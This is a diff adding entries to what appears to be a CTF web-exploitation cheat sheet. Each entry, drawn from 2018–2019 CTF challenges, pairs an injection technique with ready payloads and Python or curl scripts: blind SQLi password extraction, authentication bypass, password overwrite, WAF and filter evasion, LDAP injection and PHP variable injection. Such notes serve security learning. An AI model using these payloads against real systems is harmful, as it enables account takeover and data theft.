+ **Pattern:** SQLite has no `SLEEP()` function. Use `randomblob(N)` as a time-based blind injection primitive -- generating a large random blob creates a measurable delay proportional to the argument size.
420
+
421
+ ```sql
422
+ -- Basic time-based blind test: if the condition is true, randomblob() introduces delay
423
+ admin' and 1=randomblob(300000000)--
424
+
425
+ -- Character-by-character password extraction via LIKE:
426
+ admin' and password like 'f%' and 1=randomblob(300000000)--
427
+ admin' and password like 'fl%' and 1=randomblob(300000000)--
428
+ admin' and password like 'fla%' and 1=randomblob(300000000)--
429
+ admin' and password like 'flag%' and 1=randomblob(300000000)--
430
+ ```
431
+
432
+ ```python
433
+ import requests
434
+ import time
435
+ import string
436
+
437
+ url = "http://target/login"
438
+ known = ""
439
+
440
+ for pos in range(32):
441
+ for c in string.ascii_lowercase + string.digits + "_{}":
442
+ payload = f"admin' and password like '{known}{c}%' and 1=randomblob(300000000)--"
443
+ start = time.time()
444
+ requests.post(url, data={"username": payload, "password": "x"})
445
+ elapsed = time.time() - start
446
+ if elapsed > 2.0: # threshold: randomblob(300M) takes ~2-3 seconds
447
+ known += c
448
+ print(f"Found: {known}")
449
+ break
450
+ ```
451
+
452
+ **Key insight:** `randomblob()` generates random data proportional to the argument size, creating measurable delays. This is the SQLite equivalent of MySQL's `SLEEP()` or PostgreSQL's `pg_sleep()`. Adjust the argument (e.g., `300000000`) based on server performance to get a reliable timing difference. Other SQLite delay alternatives include `zeroblob()` and recursive CTEs, but `randomblob()` is the most reliable.
453
+
454
+ ---
455
+
456
+ ## vsprintf Double-Prepare Format String SQLi (AceBear 2018)
457
+
458
+ **Pattern:** When user input passes through `vsprintf()` twice (once for formatting, once for query building), format specifiers like `%1$c` in the first pass produce characters that bypass string-level escaping. The integer `39` converts to ASCII `'` (single quote) via `%c`, defeating `mysqli_real_escape_string`.
459
+
460
+ ```text
461
+ # Attack parameters:
462
+ username=39&password=%1$c+or+1=1--+-
463
+
464
+ # Server-side processing:
465
+ # 1. Input is escaped: mysqli_real_escape_string has nothing to escape in "39" or "%1$c or 1=1-- -"
466
+ # 2. vsprintf processes the query template:
467
+ # vsprintf("SELECT * FROM users WHERE user='%1$c or 1=1-- -' AND pass='%s'", [39, ...])
468
+ # 3. %1$c converts argument 39 → chr(39) → ' (single quote)
469
+ # 4. Result: WHERE user='' or 1=1-- -' AND pass='...'
470
+ # → authentication bypass
471
+ ```
472
+
473
+ ```python
474
+ import requests
475
+
476
+ # Step 1: Bypass login
477
+ r = requests.post("http://target/login", data={
478
+ "username": "39",
479
+ "password": "%1$c or 1=1-- -"
480
+ })
481
+
482
+ # Step 2: Extract data with UNION
483
+ r = requests.post("http://target/login", data={
484
+ "username": "39",
485
+ "password": "%1$c union select 1,group_concat(flag),3 from flags-- -"
486
+ })
487
+ ```
488
+
489
+ **Key insight:** `%c` in `vsprintf` converts an integer to a character, bypassing string-level escaping. If user input passes through `vsprintf` twice (once for formatting, once for query building), format specifiers in the first input become SQL injection vectors in the second pass. The key trick is sending `39` as one parameter (ASCII code for single quote) and `%1$c` as another to reference that parameter as a character. Look for PHP code that chains `sprintf`/`vsprintf` with query construction.
490
+
491
+ ---
492
+
493
+ ### SQL INSERT ON DUPLICATE KEY UPDATE Password Overwrite (Midnight Sun CTF 2018)
494
+
495
+ **Pattern:** When you can inject into an INSERT statement but SELECT is revoked, use MySQL's `ON DUPLICATE KEY UPDATE` clause to overwrite an existing user's password. The clause triggers when the INSERT would violate a UNIQUE constraint, updating the existing row instead.
496
+
497
+ ```sql
498
+ -- Vulnerable INSERT:
499
+ INSERT INTO users (id, username, password) VALUES ('', 'USER_INPUT', 'PASS_INPUT')
500
+
501
+ -- Injection in username field:
502
+ '),('','root','z')ON DUPLICATE KEY UPDATE password='l'#
503
+
504
+ -- Resulting query:
505
+ INSERT INTO users (id, username, password) VALUES ('', ''),('','root','z')ON DUPLICATE KEY UPDATE password='l'#', 'PASS_INPUT')
506
+ -- This inserts a row for 'root' and when the UNIQUE constraint on username conflicts,
507
+ -- it updates the existing root user's password to 'l'
508
+ ```
509
+
510
+ ```python
511
+ import requests
512
+
513
+ # Overwrite the root user's password via ON DUPLICATE KEY UPDATE
514
+ payload_username = "'),('','root','z')ON DUPLICATE KEY UPDATE password='hacked'#"
515
+ r = requests.post("http://target/register", data={
516
+ "username": payload_username,
517
+ "password": "anything"
518
+ })
519
+
520
+ # Now login as root with the overwritten password
521
+ r = requests.post("http://target/login", data={
522
+ "username": "root",
523
+ "password": "hacked"
524
+ })
525
+ print(r.text)
526
+ ```
527
+
528
+ **Key insight:** MySQL's `ON DUPLICATE KEY UPDATE` clause in INSERT statements can modify existing rows when a UNIQUE constraint conflicts, enabling password overwrite without SELECT privileges. This is particularly useful when the database user has INSERT but not SELECT permissions, making traditional UNION-based extraction impossible. Look for registration or user creation endpoints with injectable INSERT queries.
529
+
530
+ ---
531
+
532
+ ### MySQL innodb_table_stats as information_schema Alternative (N1CTF 2018)
533
+
534
+ **Pattern:** When a WAF blocks access to `information_schema`, use `mysql.innodb_table_stats` to enumerate database and table names. This system table contains metadata about InnoDB tables and is often not included in WAF rules.
535
+
536
+ ```sql
537
+ -- Direct query (if not blind):
538
+ SELECT group_concat(table_name) FROM mysql.innodb_table_stats WHERE database_name=database()
539
+
540
+ -- Also available:
541
+ SELECT group_concat(database_name) FROM mysql.innodb_table_stats
542
+ ```
543
+
544
+ ```python
545
+ # Boolean-based blind extraction via innodb_table_stats:
546
+ import requests
547
+ import string
548
+
549
+ def blind_extract(url):
550
+ result = ""
551
+ for pos in range(1, 100):
552
+ found = False
553
+ for char in string.ascii_lowercase + string.digits + "_,":
554
+ payload = (
555
+ "'or(if(1,(select(substr((select(group_concat(table_name))"
556
+ f" from mysql.innodb_table_stats where database_name=database()),{pos},1))"
557
+ f"='{char}'),1)=1)#"
558
+ )
559
+ r = requests.post(url, data={"input": payload})
560
+ if "success" in r.text: # adjust oracle condition
561
+ result += char
562
+ found = True
563
+ print(f"[+] Extracted so far: {result}")
564
+ break
565
+ if not found:
566
+ break
567
+ return result
568
+
569
+ tables = blind_extract("http://target/search")
570
+ print(f"Tables: {tables}")
571
+ ```
572
+
573
+ **Other WAF-bypass metadata sources:**
574
+ ```sql
575
+ -- mysql.innodb_table_stats: database_name, table_name
576
+ -- mysql.innodb_index_stats: database_name, table_name, index_name
577
+ -- sys.schema_table_statistics: table_schema, table_name (MySQL 5.7+)
578
+ -- sys.x$schema_table_statistics: same, less formatting
579
+ ```
580
+
581
+ **Key insight:** `mysql.innodb_table_stats` contains `database_name` and `table_name` columns, providing an alternative metadata source when `information_schema` access is filtered by WAF rules. Unlike `information_schema`, it only tracks InnoDB tables (not column names), so combine with error-based or blind techniques to discover column names after finding tables.
582
+
583
+ ---
584
+
585
+ ## SQLi Inline Comment Multi-Field Split (picoCTF 2018)
586
+
587
+ **Pattern:** A regex filter checks the username field but leaves the password field unfiltered. Start a MySQL inline comment `/*` in username and close it `*/` in password, splitting the injection across two fields so no single field triggers the filter alone.
588
+
589
+ ```text
590
+ # Vulnerable query (after PHP concatenation):
591
+ SELECT * FROM users WHERE name='<username>' AND password='<password>'
592
+
593
+ # Payload:
594
+ username = '/*
595
+ password = */ OR 1=1 --
596
+
597
+ # Final query MySQL sees:
598
+ SELECT * FROM users WHERE name='/*' AND password='*/ OR 1=1 -- '
599
+ # After comment removal:
600
+ SELECT * FROM users WHERE name=' OR 1=1 -- '
601
+ ```
602
+
603
+ ```python
604
+ import requests
605
+ r = requests.post("http://target/login", data={
606
+ "username": "'/*",
607
+ "password": "*/ OR 1=1 -- "
608
+ })
609
+ ```
610
+
611
+ **Key insight:** MySQL `/* ... */` comments span across string delimiters and field boundaries when the filter runs before interpolation, not after. Any validator that checks one field at a time misses the full injected string. When a blocklist hits the username regex but the password field is rendered into the same query, split payloads across both inputs.
612
+
613
+ **References:** picoCTF 2018 — THE VAULT, writeup 11747
614
+
615
+ ---
616
+
617
+ ## PHP Full-Width Dollar Regex Anchor Bypass (Hack.lu CTF 2018)
618
+
619
+ **Pattern:** PHP regex `/^\d+$/` uses the Unicode full-width dollar sign (`$`, U+FF04) instead of ASCII `$`. PCRE treats the full-width character as a literal, so there is no end-of-string anchor and the match succeeds even with trailing garbage.
620
+
621
+ ```php
622
+ // Vulnerable check
623
+ if (preg_match('/^\d+$/', $input)) { /* accepted */ }
624
+
625
+ // Payload passes validation and later triggers long-string handling
626
+ $_GET['key2'] = '1337$' . str_repeat('a', 50);
627
+ ```
628
+
629
+ ```bash
630
+ curl "http://target/?key2=1337%EF%BC%84$(python3 -c 'print("a"*50)')"
631
+ ```
632
+
633
+ **Key insight:** Always compare regex special characters by codepoint, not by appearance. Unicode look-alikes of `$`, `^`, `.`, `[`, `]`, `*`, `+`, `?`, `(`, `)` are literals in PCRE and silently downgrade the pattern. Check every anchor in a filter with `hexdump -C` before trusting it.
634
+
635
+ **References:** Hack.lu CTF 2018 — Baby PHP, writeup 11846
636
+
637
+ ---
638
+
639
+ ## MySQL REGEXP Byte-by-Byte Oracle + Backtick Comment Bypass (BSides Delhi 2018)
640
+
641
+ **Pattern:** WAF blocks `|`, `-`, `\`, `#`, `and`, `if`, `where`, `concat`, `insert`, `having`, and `sleep`, but leaves `REGEXP` and backtick identifiers alone. Use backtick-delimited comments `/**/` as space replacement and `REGEXP` as a Boolean oracle that matches an anchored prefix character-by-character. A trailing null byte terminates the query in old PHP/MySQL pairs and drops the surrounding single-quote.
642
+
643
+ ```text
644
+ # Blacklist (partial): | - \ ( ) # and if database where concat insert having sleep
645
+
646
+ # Oracle query:
647
+ /?user=`\`&pw=`||pw/**/REGEXP/**/%22^1%22;%00
648
+
649
+ # Iteratively extend the regex prefix:
650
+ ^1 → ^17 → ^172 → ^1729 ...
651
+ ```
652
+
653
+ ```python
654
+ import requests, string
655
+ URL = "http://target/"
656
+ prefix = ""
657
+ charset = string.ascii_letters + string.digits + "{}_"
658
+ while True:
659
+ for c in charset:
660
+ pw = f"`||pw/**/REGEXP/**/\"^{prefix+c}\";\x00"
661
+ r = requests.get(URL, params={"user": "`\\`", "pw": pw})
662
+ if "Welcome" in r.text:
663
+ prefix += c
664
+ print(prefix)
665
+ break
666
+ else:
667
+ break
668
+ ```
669
+
670
+ **Key insight:** `REGEXP` is rarely on a WAF keyword list and supports anchors (`^`, `$`) and character classes, giving a full byte-by-byte oracle without `AND`, `IF`, or `SUBSTRING`. Backticked column references bypass space stripping because `/**/` comments separate tokens without spaces. Null bytes after the payload truncate the SQL string early in MySQL clients that still honor embedded NULs.
671
+
672
+ **References:** BSides Delhi CTF 2018 — Old School SQL, writeup 11953
673
+
674
+ ---
675
+
676
+ ## LDAP Filter Breakout with Wildcard Injection (CSAW 2018)
677
+
678
+ **Pattern:** An LDAP search filter `(&(GivenName=<input>)(!(GivenName=Flag)))` interpolates user input without escaping parentheses or wildcards. Inject `*))(|(uid=*` to close the first clause, open a disjunction, and match every entry — including the blocked `Flag` account.
679
+
680
+ ```text
681
+ # Original filter
682
+ (&(GivenName=Alice)(!(GivenName=Flag)))
683
+
684
+ # Injected input: *))(|(uid=*
685
+ # Resulting filter
686
+ (&(GivenName=*))(|(uid=*)(!(GivenName=Flag)))
687
+
688
+ # The `&` now only sees (GivenName=*), and the trailing disjunction + leftover
689
+ # negation become ignored extra filter components.
690
+ ```
691
+
692
+ ```python
693
+ import requests
694
+ r = requests.get("http://target/search", params={"name": "*))(|(uid=*"})
695
+ print(r.text)
696
+ ```
697
+
698
+ **Key insight:** LDAP filters use a prefix-notation boolean tree: `&` / `|` / `!` followed by parenthesised children. Unescaped user input that contains `)`, `(`, `*`, or `\` lets the attacker rebalance that tree. Common payloads: `*)(uid=*` (OR wildcard), `*))(&(1=1)` (force true), `foo)(|(password=*)` (enumerate records). Escape with `\28`, `\29`, `\2a`, `\5c` on the server side.
699
+
700
+ **References:** CSAW CTF Qualification Round 2018 — ldab, writeup 11207
701
+
702
+ ---
703
+
704
+ ## PHP parse_str() Variable Injection (TokyoWesterns 2018)
705
+
706
+ **Pattern:** PHP's `parse_str($str)` — called without a result array — writes every key in the query string as a local variable in the current scope. Attacker-controlled keys overwrite authentication variables such as `$hashed_password` that the script compares against a precomputed hash.
707
+
708
+ ```php
709
+ // Vulnerable
710
+ parse_str($_SERVER['QUERY_STRING']); // $hashed_password ← attacker input
711
+ if (md5($password) === $hashed_password) { login(); }
712
+
713
+ // Safe form
714
+ parse_str($_SERVER['QUERY_STRING'], $params);
715
+ ```
716
+
717
+ ```bash
718
+ # Set the target variable directly from the query string
719
+ curl "http://target/auth.php?action=auth&password=anything&hashed_password=$(php -r 'echo md5("anything");')"
720
+ ```
721
+
722
+ **Key insight:** `parse_str()` and `extract()` are register_globals-style primitives: any parameter sent by the client becomes a PHP variable that might shadow logic the developer assumed was local. The fix is always the two-argument form. When auditing PHP, grep for `parse_str\(\s*\$[^,]*\)` with no comma.
723
+
724
+ **References:** TokyoWesterns CTF 4th 2018 — SimpleAuth, writeup 11034
725
+
726
+ ---
727
+
728
+ ## ExpressionEngine FileManager ORDER BY Sort-Key SQLi (35C3 2018)
729
+
730
+ **Pattern:** ExpressionEngine's file-manager endpoint takes a `tbl_sort` array from the client and passes each `[column, direction]` pair directly to `$db->order_by($key, $val)`. Column names are concatenated into SQL with no allowlist, so the attacker controls an `ORDER BY` expression.
731
+
732
+ ```http
733
+ POST /cp/tbl_sort[0][]=(select if(substr(user_password,1,1)='a',sleep(5),0) from exp_members) tbl_sort[0][]=ASC
734
+ ```
735
+
736
+ Use `sleep()` / `benchmark()` inside the sort expression to run a blind timing oracle on the admin password hash.
737
+
738
+ **Key insight:** Any ORM that lets the client pick sort columns must allowlist them. The attack is particularly nasty because `ORDER BY` subqueries are rarely caught by WAFs that focus on `SELECT`/`UNION` keywords.
739
+
740
+ **References:** 35C3 CTF 2018 — ExpressionEngine filemanager SQLi, writeup 12880
741
+
742
+ ---
743
+
744
+ ## SQLite UNION via X-Forwarded-For with PHPSESSID Oracle (NCSC 2019)
745
+
746
+ **Pattern:** A session initializer builds `SELECT ... FROM nxf8_sessions WHERE ip_address = '<X-Forwarded-For>'` and copies the resulting row into the `PHPSESSID` cookie. The value of the last column of your UNION row becomes the cookie — a free one-shot exfiltration channel. The error message `unrecognized token` reveals SQLite; enumerate with `sqlite_master`.
747
+
748
+ ```bash
749
+ # Discover column count (4 columns in this table)
750
+ curl -i http://target/ -H "X-Forwarded-For: pwnd' union select null,null,null,null from nxf8_users where '1'='1"
751
+
752
+ # Leak table definitions from sqlite_master
753
+ curl -i http://target/ -H "X-Forwarded-For: pwnd' union select null,null,null,sql from sqlite_master where tbl_name='nxf8_users' and type='table"
754
+
755
+ # Exfiltrate a specific row (session_id for user 5)
756
+ curl -i http://target/ -H "X-Forwarded-For: pwnd' union select null,null,null,session_id from nxf8_sessions where user_id=5 and '1'='1"
757
+ # -> Set-Cookie: PHPSESSID=<leaked value>
758
+ ```
759
+ Pad with `null` columns until the UNION fits; place the target expression in the column whose value is reflected in the cookie. Reuse the leaked `session_id` as your own `PHPSESSID` to impersonate the target user (e.g., Maria).
760
+
761
+ **Key insight:** Session-ID generation logic often includes unsanitized HTTP headers (`X-Forwarded-For`, `Client-IP`, `True-Client-IP`). The reflected row becomes a free oracle: no error-based or time-based inference required. SQLite-specific UNION uses `null` padding and `sqlite_master(type,name,tbl_name,sql)` for schema enumeration (no `information_schema`).
762
+
763
+ **References:** Quals Saudi and Oman National Cyber Security CTF 2019 — Maria, writeup 13236
764
+
765
+ ---
766
+
767
+ ## Quote-Adjacent UNION Keyword Filter Bypass (TAMUctf 2019)
768
+
769
+ **Pattern:** Application blocks the word `UNION` but naively looks for `" UNION "` (space-delimited). The SQL lexer treats a closing quote as a token boundary, so `'UNION` is still parsed as the keyword `UNION` after the string literal closes. Placing `UNION` flush against the closing quote slips past the string filter while the parser still accepts it.
770
+
771
+ ```sql
772
+ -- Original: SELECT items FROM Search WHERE items='<input>';
773
+ -- Blocked (filter sees " UNION "):
774
+ aggies' UNION SELECT 1; #
775
+
776
+ -- Bypass (no space before UNION — filter sees "UNION" embedded in word "aggies'UNION"):
777
+ aggies'UNION SELECT 1; #
778
+
779
+ -- Drop the string prefix entirely:
780
+ 'UNION SELECT @@VERSION #
781
+ 'UNION ALL SELECT GROUP_CONCAT(table_schema) FROM information_schema.tables WHERE table_schema!='information_schema' #
782
+ 'UNION ALL SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema!='information_schema' #
783
+ 'UNION ALL SELECT grantee FROM information_schema.user_privileges #
784
+ ```
785
+
786
+ **Key insight:** Naive blacklists look for whitespace-delimited keywords, but SQL lexers tolerate quote-adjacent tokens — the closing `'` is implicit whitespace to the parser. The same trick works for `/*!50000UNION*/`, tab/newline (`%09`, `%0a`), parentheses (`UNION(SELECT...)`), and comment blocks (`UNION/**/SELECT`). Also probe `information_schema.user_privileges` for the `grantee` column — CTF authors often hide flags as the privileged user's name.
787
+
788
+ **References:** TAMUctf 2019 — Bird Box Challenge, writeup 13860
789
+
790
+ ---